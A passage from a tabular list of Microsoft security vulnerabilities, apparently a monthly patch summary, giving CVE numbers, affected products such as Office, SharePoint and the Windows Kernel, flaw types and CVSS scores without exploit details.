Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  